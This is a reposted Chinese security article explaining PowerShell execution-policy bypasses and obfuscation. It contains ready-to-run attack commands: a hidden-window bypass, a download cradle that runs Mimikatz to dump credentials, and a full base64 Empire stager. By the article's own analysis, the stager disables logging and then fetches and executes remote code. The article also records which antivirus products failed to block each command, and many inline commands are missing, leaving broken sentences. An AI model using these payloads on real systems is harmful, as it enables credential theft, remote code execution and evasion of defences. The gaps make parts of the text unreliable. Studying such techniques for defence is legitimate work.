Powershell绕过执行及脚本混淆

为什么需要 powershell ?存在必然合理。微软的服务器操作系统因为缺乏一个强大的 Shell 备受诟病。而与之相对,Linux 的 Shell 可谓丰富并且强大。Windows Server 的 Shell,也就是从 Dos 继承过来的命令行,处理简单问题尚可,一旦遇到稍微复杂一点的问题,它就会把本已复杂的问题,弄得更加复杂。引入,使得管理员处理问题的效率提高了不少。但是个脚本语言,即缺乏 Shell 的简单性,也不能利用高级语言的诸多优点。这使得微软迫切需要一个强大的 Shell 来管理服务器,甚至整个网络。在这种前提下,PowerShell 诞生了。Powershell && cmdpowershell 和 cmd 有许多相同的命令,但是 powershell 并不是 cmd 的增强型,powershell 和 cmd 对同一个命令的解读可能完全不同,比如:在 cmd 中,应该输出对应文件夹的子文件夹信息,而在 powershell 中,的全称是 Format-Custom,一个有关格式化输出的命令。所以我么你可以看见,powershell 并不能执行 cmd 中的全部命令。powershell 不能执行任何 cmd 命令,准确来说,至少是不能直接执行。Powershell 可以作为一个应用程序在 cmd 中执行,cmd 也可以在 Powershell 中执行。为什么 powershell 能够执行 cmd 命令?其实并不是执行 cmd 的命令,powershell 利用 Alias 这个特性,可以让使用者以 cmd 风格使用 powershell。这样方便初学者在刚接触时像使用 cmd 那样亲切。你可以使用来获得相关信息,比如回显会告诉你在 powershell 中真正调用的命令是什么。看到这应该很明显了吧,powershell 和 cmd 完全是两个东西,他们的外表相似性来自"友善"的 Alias。Powershell 能干什么?1、与文件系统交互,运行应用程序2、创建及运行脚本( .ps1 )和其他脚本语言一样,支持将命令列表编写成脚本,但是一个 .ps1 文件默认是以记事本打开,而非 powershell 执行(这和 powershell 的执行策略有关,默认执行策略是 Restricted 限制的,除了 Windows Server12 R2 是 RemoteSigned-远程签名),由于默认是 Restricted,所以我们在命令执行 .ps1 脚本时会提示无法执行,所以请运行以下命令修改策略:将执行策略修改为远程签名,即本地脚本可以运行,远程脚本必须拥有合法签名才可以执行,如果执行失败请以管理员权限运命令。我们搞安全的还可以使用 powershell 脚本执行一些奇奇怪怪的操作.......利用 .Net 类型和 Dom 对象。能够利用 .Net 类型和 COM 对象是 PowerShell 的最大特点,这让 PowerShell 能够最大限度的利用现有资源,创建了 .Net 类型和 Dom 对象后可以使用这些对象的属性及方法多种方式绕过执行策略1.管道最常见的 bypass 执行策略,通过管道方式将脚本内容插入到 powershell.exe 的标准输入内,这种方法不会改变配置但要求写入磁盘:简写, 为不加载 windows poweshell 配置文件你也可以从网络上下载脚本并执行,这样就不会写入磁盘和修改配置文件即允许用户计算和运行动态生成的命令,输出命令的执行结果。是最为常见的远程下载方法,也都能执行类似的功能。2. -Exec bypass使用 powershell 策略中的 bypass 策略,这种方法不会改变配置或者要求写入磁盘,并且不会有任何的警告或提示,如果你使用 Unrestricted,在运行网上下载的未被签名的脚本时会有警告。忽略执行策略文件,指定文件。3. Encode使用加密方式绕过,首先需要将命令 Unicode 加密,再 base64 加密即可,命令如下:$commond ="write-host 'my name is mntn'"$bytes = [System.Text.Encoding]::Unicode.GetBytes(commond)$encodeCommand = [Convert]::ToBase64String($bytes)$encodeCommanddwByAGkAdABlAC0AaABvAHMAdAAgACcAbQB5ACAAbgBhAG0AZQAgAGkAcwAgAG0AbgB0AG4AJwA=powershell -Enc dwByAGkAdABlAC0AaABvAHMAdAAgACcAbQB5ACAAbgBhAG0AZQAgAGkAcwAgAG0AbgB0AG4AJwA=my name is mntn这种方式也不会修改配置文件或者要求写入磁盘4. 指定版本参数不记录参数指定版本参数,使得攻击者可以降低 powershell 到一个旧版本,新版本如是可以记录操作的。5.PSConsole:使用 PSConsole 指定 powershell 控制文件powershell 脚本分析几个较为常用的执行脚本的语句:1、本地绕过执行策略执行脚本win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截2、本地绕过执行策略并隐藏执行窗口PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1`win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截3、远程下载脚本并绕过执行策略执行powershell "IEX (New-Object Net.WebClient).DownloadString('http://example/file.ps1'); Invoke-Mimikatz -DumpCreds"`win7 环境下测试,腾讯管家未拦截、360 报毒拦截、win10 环境下火绒未拦截4、远程下载脚本执行powershell "IEX (New-Object Net.WebClient).DownloadString(“http:///path/xxx.ps1”)"win7 环境下测试,腾讯管家未拦截、360 报毒拦截、win10 下火绒未拦截下面这份脚本是 Empire 生成的脚本,我们通过分析这份脚本来展示一些常用的混淆方法powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAUwBJAE8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBJAG8AbgAuAE0AQQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAAUwA9AFsAcgBlAGYAXQAuAEEAcwBzAEUAbQBCAGwAWQAuAEcARQB0AFQAWQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBFAHQAVgBhAEwAVQBFACgAJABuAFUAbABsACkAOwBJAGYAKAAkAEcAUABTAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBMAHMAZQB7AFsAUwBjAHIASQBQAFQAQgBMAG8AQwBrAF0ALgAiAEcAZQB0AEYASQBlAGAAbABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATAB1AGUAKAAkAG4AVQBsAEwALAAoAE4AZQB3AC0ATwBCAEoAZQBjAHQAIABDAG8ATABsAEUAQwBUAGkATwBOAHMALgBHAEUAbgBFAHIASQBDAC4ASABBAHMASABTAGUAdABbAFMAVAByAGkAbgBnAF0AKQApAH0AWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIAbAB5AC4ARwBFAFQAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUAZQAoACQAbgBVAEwATAAsACQAdAByAFUARQApAH0AOwB9ADsAWwBTAFkAUwB0AGUATQAuAE4AZQBUAC4AUwBFAFIAdgBJAEMARQBQAG8AaQBOAFQATQBhAG4AYQBnAEUAcgBdADoAOgBFAHgAUABFAEMAVAAxADAAMABDAG8AbgB0AEkAbgB1AGUAPQAwADsAJAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwBUACAAUwB5AFMAdABlAG0ALgBOAEUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAdwBjAC4ASABFAGEAZABFAHIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUABSAE8AWAB5AD0AWwBTAHkAcwB0AEUAbQAuAE4AZQBUAC4AVwBFAGIAUgBFAHEAVQBFAHMAVABdADoAOgBEAEUARgBhAHUAbABUAFcARQBiAFAAcgBvAHgAWQA7ACQAVwBDAC4AUABSAE8AWAB5AC4AQwBSAEUARABlAE4AVABpAEEATABzACAAPQAgAFsAUwBZAHMAdABFAG0ALgBOAEUAdAAuAEMAcgBFAEQARQBOAHQAaQBhAEwAQwBhAGMAaABFAF0AOgA6AEQAZQBGAEEAVQBsAFQATgBFAHQAdwBvAFIAawBDAFIARQBEAEUATgBUAGkAYQBsAFMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AEUAbQAuAFQAZQBYAFQALgBFAG4AQwBPAEQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AFQARQBzACgAJwBbAGUANgB6ADIAIQBwAGIAVAByADcANQBzAEUAKAAzAFAASABTAHkAWABeAGMAewBhAG4APABGAF8AaABAACsAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAzADMALgAxADMAOQA6ADQANAA0ADQAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAFIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABmAHcAKwBLADMAZQBDAFkAegAwAEUAZwBVAGcATgBXADEAOABCAEYAWQBQAHYAYgBMAFEAPQAiACkAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4AbABPAEEARABEAEEAVABBACgAJABTAGUAUgArACQAVAApADsAJABpAHYAPQAkAGQAQQBUAEEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAQQB0AGEAWwA0AC4ALgAkAGQAYQBUAGEALgBsAEUAbgBnAHQAaABdADsALQBqAE8ASQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==从开头就可以看到它在绕过执行策略时使用了不加载 powershell 配置文件,隐藏窗口(执行该命令后会直接隐藏命令行窗口),使用 sta 模式创建 GUI 界面,加密绕过,使用如下命令还原脚本

该攻击脚本可以大致分为4个部分:1、禁用日志记录,防止我们的脚本运行留下记录2、建立了一个 webclient,用于下载3、将要被执行的代码块赋值给4、从网上下载数据,将其与scriptblock 的输出结合首先我们可以看到脚本中大量使用了:1、大小写混用的混淆方式2、使用了 + 号来连接关键字,此外常用的还有 ^ 符号混淆 cmd 命令行3、管道连接4、是最为常见的下载方式,它包含了方法远程下载文件,和方法下载数据到内存中的缓冲区,减少了数据落地内存留下痕迹的可能。总结混淆 powershell 的方式很多,在对混淆方法进行了精彩的讨论,观看地址:https://www.youtube.com/watch?v=P1lkflnWb0I他写了一个混淆模块, 这些方法的大多数都是自动化的,大家可以去看看。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180124G09C1T00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券